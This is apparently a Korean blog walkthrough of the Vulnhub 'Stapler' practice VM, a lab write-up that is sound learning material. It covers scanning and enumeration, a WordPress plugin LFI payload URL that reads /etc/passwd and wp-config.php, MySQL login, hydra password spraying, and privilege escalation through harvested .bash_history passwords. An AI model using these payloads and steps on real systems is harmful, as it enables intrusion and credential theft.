Vulnhub

[Vulnhub] stapler Walkthrough

jeff_kim 2024. 6. 22. 11:40

https://www.vulnhub.com/entry/stapler-1,150/

 

Stapler: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

매번 실습을 하면서 느끼는 거지만 나중에 보고서를 작성하거나, 지금처럼 블로그 글을 쓸때도 좀 정리를 잘해야 써야겠다. 라는 느낌을 많이 받고 있습니다...저 신경을 써서 작성해야겠어요!! 아자아자 화이팅!!!

 

실습 환경 : VirtualBox

 

정보 수집

저는 Nmap을 통해서 대상 호스트가 어떤 IP를 가지고 있는지 확인을 하는데, netdiscover 이라는 IP 탐색 툴도 있으니 참고하시면 됩니다.

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.220
Host is up (0.00069s latency).
MAC Address: 08:00:27:F1:43:8D (Oracle VirtualBox virtual NIC)

 

└─$ nmap -p- --max-retries 1 --min-rate 1500 -Pn -n --open 192.168.45.220 -oA tcpAll               
Nmap scan report for 192.168.45.220
Host is up (0.00046s latency).
Not shown: 65523 filtered tcp ports (no-response), 4 closed tcp ports (conn-refused)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
139/tcp   open  netbios-ssn
666/tcp   open  doom
3306/tcp  open  mysql
12380/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 86.97 seconds

# 포트번호 파싱
└─$ cat tcpAll.nmap | grep '/tcp' | cut -d '/' -f 1 | paste -s -d ','
21,22,53,80,139,666,3306,12380
# 디테일한 정보 수집
└─$ nmap -p 21,22,53,80,139,666,3306,12380 --max-retries 1 --max-rate 2500 -sV -sC -Pn -n --open 192.168.45.220 -oA tcpDetailed
PORT      STATE SERVICE     VERSION                                           
21/tcp    open  ftp         vsftpd 2.0.8 or later                             
| ftp-syst:                                                                   
|   STAT:                                                                     
| FTP server status:                                                          
|      Connected to 192.168.45.219                                            
|      Logged in as ftp                                                       
|      TYPE: ASCII                                                            
|      No session bandwidth limit      
|      Session timeout in seconds is 300                                      
|      Control connection is plain text                                       
|      Data connections will be plain text                                    
|      At session startup, client count was 1                                 
|      vsFTPd 3.0.3 - secure, fast, stable                                    
|_End of status                    
| ftp-anon: Anonymous FTP login allowed (FTP code 230)                        
|_Can't get directory listing: PASV failed: 550 Permission denied.            
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)                                                                              
| ssh-hostkey:                         
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)                
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)               
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)             
53/tcp    open  domain      dnsmasq 2.75                                      
| dns-nsid:                            
|_  bind.version: dnsmasq-2.75         
80/tcp    open  http        PHP cli server 5.5 or later                       
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).           
139/tcp   open  netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)    
666/tcp   open  tcpwrapped                                                    
3306/tcp  open  mysql       MySQL 5.7.12-0ubuntu1                                                                                                            
| mysql-info:                                                                                                                                                
|   Protocol: 10                     
|   Version: 5.7.12-0ubuntu1                                                                                                                                 
|   Thread ID: 10                                                             
|   Capabilities flags: 63487          
|   Some Capabilities: Support41Auth, LongColumnFlag, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, SupportsTransactions, ODBCClient, IgnoreSigpipes, Co
nnectWithDatabase, Speaks41ProtocolNew, LongPassword, SupportsCompression, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, FoundRows,
 SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults      
|   Status: Autocommit                                                        
|   Salt: }..9j\x196    eH\x0Bg<`Ht\x02%6g                                    
|_  Auth Plugin Name: mysql_native_password                                   
12380/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))                    
|_http-title: Site doesn't have a title (text/html).                          
|_http-server-header: Apache/2.4.18 (Ubuntu)                                  
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel            
                                       
Host script results:                                                          
| smb2-security-mode:                                                         
|   3:1:1:                                                                    
|_    Message signing enabled but not required                                
| smb-security-mode:                                                          
|   account_used: guest            
|   authentication_level: user                                                
|   challenge_response: supported                                             
|_  message_signing: disabled (dangerous, but default)                                                                                                       
| smb2-time:                           
|   date: 2024-06-20T19:09:07                                                 
|_  start_date: N/A                                                           
| smb-os-discovery:                                                           
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)                                      
|   Computer name: red                 
|   NetBIOS computer name: RED\x00     
|   Domain name: \x00                                                         
|   FQDN: red                                                                 
|_  System time: 2024-06-20T20:09:07+01:00                                    
|_clock-skew: mean: -13h20m16s, deviation: 34m37s, median: -13h00m17s         
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
# Enumeration Port Scanning Res
21 - ftp - vsftpd 2.0.8
22 - ssh - openssh 7.2p2
53 - dns - dnsmasq 2.75
80 - http - php cli server 5.5
139 - smb - smbd 4.3.9
666 - tcpwrapped - doom?
3306 - mysql - mysql 5.7.12
12380 -  http -apache httpd 2.4.18

 

 

FTP(21)

Nmap을 통한 정보 수집에서는 Anonymous login이 허용되어 있었는데요 한번 확인해보겠습니다

anonymous:anonymous 를 이용해서 ftp 서버에 접근했고 note 라는 파일이 있어 파일을 가져왔습니다

└─$ cat note  
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

john이 elly에게 페이로드 정보를 업데이트하고 ftp 계정에 파일을 저장하라고 하네요

 

 

SSH(22)

optnssh 7.2p2 버전을 사용하고 있으며 ftp에서 직원들의 이름이 나오는 것을 보아 ssh로 접근했을 떄도 나오지 않을 까 싶어 접속해봅니다

직원들의 이름이 하나씩 뜨는게 뭔가 나중에 유용하겠죠?

 

WEB(80, 12380)

80 - http - php cli server 5.5

12380 - http - apache httpd 2.4.18

 

 80번은 php cli 서버를 사용하고 12380은 아파치 웹 서버를 운영하는 것으로 보입니다.

80에 먼저 접속해서 페이지소스나 디렉터리 브루트포싱을 진행해봤는데 .bashrc 그리고 .profile 뭔가 유저의 홈디렉터리에 숨김 파일들을 찾았습니다 하지만 별다른 특이점은 없어보이네요...

 

 

이번엔 12380 포트로 접속해봅니다

 

아직 웹사이트 오픈 전 제작하고 있는 모습의 웹 사이트 입니다. 타이틀에 Tim 이라는 직원 그리고 Initech 라는 회사 인것 같네요 gobuster를 이용해서 디렉터리 브루트포싱을 진행하는데 별다른 디렉터리를 찾지 못하고 페이지 이동이 뭔가 잘 안되고 부자연스러운 느낌이라서 nikto를 이용하여 추가적인 정보 수집을 했다.

 

└─$ nikto -h 192.168.45.220:12380 -ssl
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.45.220
+ Target Hostname:    192.168.45.220
+ Target Port:        12380
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
+ Start Time:         2024-06-21 18:28:53 (GMT9)

 

SSL 정보가 뜨는 것을 보아 https 로 진행해야할 것같다. drib 툴을 이용하여 다시 디렉터리 브루트포싱 진행

└─$ cat dirb-12380 | head -n50                                                                                                                               
                                                                                                                                                             
-----------------                                                                                                                                            
DIRB v2.22                                                                                                                                                   
By The Dark Raver                                                                                                                                            
-----------------                                                                                                                                            
                                                                              
START_TIME: Fri Jun 21 18:34:04 2024                                                                                                                         
URL_BASE: https://192.168.45.220:12380/                                                                                                                      
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt                      
                                                                                                                                                             
-----------------                                                                                                                                            
                                                                              
GENERATED WORDS: 4612                                                                                                                                        

---- Scanning URL: https://192.168.45.220:12380/ ----
==> DIRECTORY: https://192.168.45.220:12380/announcements/                                                                                                   
+ https://192.168.45.220:12380/index.html (CODE:200|SIZE:21)                                                                                                 
==> DIRECTORY: https://192.168.45.220:12380/javascript/                                                                                                      
==> DIRECTORY: https://192.168.45.220:12380/phpmyadmin/                                                                                                      
+ https://192.168.45.220:12380/robots.txt (CODE:200|SIZE:59)                                                                                                 
+ https://192.168.45.220:12380/server-status (CODE:403|SIZE:305)

https를 왜 생각지도 못했을까...반성한다

 

 

initech 회사의 블로그인것 같다 john의 풀네임을 찾았고 게시글을 보며 다른 직원의 이름으로 추정되는 것을 찾았다

 

 

웹을 통한 정보 수집은 이 쯤에서 해두고 다른 포트에 대해서도 정보 수집한다

 

smb(139)

한번 smb 프로토콜에 대해서 추가 정보 수집을 해봐야겠습니다. enum4linux를 통해 정보 수집을 했는데 흥미로운 것들이 좀 나오는 군요

null share도 사용이 가능하다 라는 거죠

 

그리고 웹에서 찾았던 회사 유저들의 이름...속 시원하게 SMB에 연결된 Local User들을 한번에 찾았습니다

혹시모르니 파싱해서 유저들의 정보 가지고 있어야겠죠?

└─$ cat enum4linux_res | grep -i 'local user' | cut -d '\' -f 2 | cut -d ' ' -f 1 > initech_user.txt
                                                                                                                                                             
└─$ cat initech_user.txt 
peter
RNunemaker
ETollefson
DSwanger
AParnell
SHayslett
MBassin
JBare
LSolum
IChadwick
MFrei
SStroud
CCeaser
JKanode
CJoo
Eeth
LSolum2
JLipps
jamie
Sam
Drew
jess
SHAY
Taylor
mel
kai
zoe
NATHAN
www
elly
nobody

 

tmp와 kathy로 직접 접속해보았지만 tmp에서는 별다른 것이 없었다.

kathy에서 파일을 가져와 확인해보았습니다

└─$ cat todo-list.txt                                                                    
I'm making sure to backup anything important for Initech, Kathy

 

중요한 것을 백업하고 있다는  kathy, 아마 config 파일이나 그런 것들이겠죠?? 그리고 wp에 대한 정보도 떳는데 웹에서  /blogblog는 wp로 만들어진 블로그였죠?? 이제 어느정도 가닥이 나오네요

 

666

666번 포트는 좀 생소해서 검색을 해보니 DOOM이라는 게임의 포트라는데,,, nc 명령어로 리스닝 해보겠습니다

뭔가 이상한 문자가 뜨니깐 리다이렉션 해서 한번 가져와봅니다

┌──(kali㉿kali)-[~/vulnhub/stapler]
└─$ nc 192.168.45.220 666 > 666_port

┌──(kali㉿kali)-[~/vulnhub/stapler]
└─$ file 666_port      
666_port: Zip archive data, at least v2.0 to extract, compression method=deflate

zip 파일이었네요!

└─$ unzip 666_port                                                            
Archive:  666_port                                                                                                                                           
  inflating: message2.jpg

이런 이미지 파일이었어요!

 

취약점 진단

wordpress로 사내 블로그를 운영하는 것을 알았으니, wpscan을 이용하여 정보를 수집하고 취약점 진단까지 실시하겠습니다

└─$ wpscan --url https://192.168.45.220:12380/blogblog --disable-tls-checks --enumerate u

 

 

10개 정도의 유저 정보를 알아냈습니다

# vi initech_blog.txt
John Smith
john
garry
elly
peter
barry
heather
harry
scott
kathy
tim

 

rockyou.txt에서 500개 정도를 가져와서 비밀번호 브루트포싱을 진행했는데, 3개 정도는 파악을 완료했습니다 

블로그 글에서 플러그인을 다운받았다는 것을 확인하고 wp-content에서 플러그인 파일을 확인했습니다.

 

취약점이 하나 뜨네요

 

 

익스플로잇

wordpress 플로그인을 이용해 LFI 공격이 가능한 취약점을 발견했고, 이를 이용하여 익스플로잇을 진행하겠습니다

39646.py 파일을 보면 

이 부분이 있을 겁니다. 저 주소를 각자의 실습 VM에 맞게 수정해줍니다 

https://192.168.45.220:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=/etc/passwd

저 같은 경우 개념증명을 하기 위해서 대상 호스트에 /etc/passwd 파일을 가져오는 걸로 테스트를 했습니다

 

이렇게 주소창에 입력을 합니다

주소창에 입력을 하면 아래와 같은 url을 하나 반환하는데 들어가보면 아래와 같이 에러가 발생합니다

당황하지 말고 /blogblog/wp-content/uploads로 들어가줍니다.

이렇게 새로 생성된 jpeg 파일이 있을 것인데 이것을 그냥 확인하면 비어있는 사진 파일만 떠서 이게 뭐지 싶습니다...

kali linu 에서 사진의 경로를 복사해준 다음 아래의 명령어를 사용하여 다운받아줍니다

└─$ wget --no-check-certificate https://192.168.45.220:12380/blogblog/wp-content/uploads/238615377.jpeg

보이시나요?? 대상 호스트의 /etc/passwd 파일을 LFI를 이용해 가져온것을 확인할 수 있습니다

이제는 진짜 익스플로잇을 해야죠??

https://192.168.45.220:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php

위와 같이 주소창에 입력해준후 이전 파일을 다운 받는 과정을 반복해줍니다

 

 

대상 호스트는 3306인 데이터베이스 서버가 열려있기 때문에 외부에서 접속해봅니다

└─$ mysql -u root -p -h 192.168.45.220
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 292
Server version: 5.7.12-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

데이터베이스에서 wordpress user에 대한 정보도 획득할 수 있는데 덤프를 해와서 유저 목록만 파싱을 하겠습니다

이후 유저 목록을 정리한뒤 config.php 파일에서 얻었던 plbkac을 비밀번호 스프레잉 브루트포싱 공격을 통해서 SSH 로 바로 접근하는 경로가 있는지 확인할 것입니다

간단하게 파싱 완료 이후 hydra 툴을 이용해서 비밀번호 스프레잉 공격을 할 것인데, 비밀번호 스프레잉은 실습 환경이라서 그냥 막 하겠습니다

zoe 라는 직원으로 접속이 가능하겠군요

 

권한 상승

우선 많은 유저가 있었던 걸로 기억을 해서 /home에 들어가서 다른 유저의 .bash_history를 발견했는데 아래의 명령어를 사용하여 나열해서 확인했습니다

find -name ".bash_history" -exec cat {} \;

history에 남아있는 비밀번호가 진짜 비밀번호 인것을 확인했고 sudo -l 을 했을때 권한 상승 할 방법은 없네요

Kanode@red:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for JKanode: 
Sorry, user JKanode may not run sudo on red.

그럼 두번째로 peter로 접속해봅니다

쉘이 굉장히 독특한 zsh 이네요

그리고 peter는 아주 강력한 직원이었습니다

네 권한 상승 완료했습니다. history 파일에 남겨져있는 기록도 아주 중요하게 생각합니다. 그래서 권한 상승할때 가장 우선적으로 확인하는거같네요 이렇게 이번 stapler 는 성공적으로 마무리하겠습니다

제 기준에서는 중간정도 난이도 였던거같아요 이전에 했던것들과 달리 분산되어있는 정보가 많다보니깐 정리하는게 살짝 많이 미숙했네요.. 모의해킹을 이틀정도 진행했는데 아직 더 화이팅 해야겠어요!!

 

➜  ~ cat flag.txt 
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
<fla.....................g>